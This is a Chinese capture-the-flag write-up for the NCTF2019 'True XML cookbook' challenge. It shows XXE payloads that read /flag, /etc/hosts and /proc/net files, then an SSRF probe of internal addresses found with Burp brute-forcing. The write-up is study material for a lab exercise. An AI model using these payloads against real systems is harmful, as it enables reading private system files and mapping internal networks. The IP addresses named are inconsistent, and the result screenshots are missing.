[NCTF2019]True XML cookbook
[NCTF2019]True XML cookbook
打开环境是之前一道题的登录框
先按原来那道题的payload进行测试,payload和结果如下:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
未成功获取到flag信息,那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个新的ip:10.244.80.202,结果如下:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:////etc/hosts">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
在执行/proc/net/arp会出现两个新的地址,但是其中一个新的地址有时候有,有时候又没有,不知道为什么,看下面中间两张图,但是也对这两个地址按后面的爆破方式进行了爆破,但是未成功。
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:////proc/net/arp">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:////proc/net/fib_trie">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
这里获得一个新的地址,尝试下进行连接结果如下:
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "http://10.244.80.49/">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
连接失败,那就查询下同网段内存在不存在其他地址,使用bp的爆破模块进行爆破,设置如下:
等待爆破结果,最终成功获得flag,爆破的结果可能会比较慢,需要等待下,最终结果如下: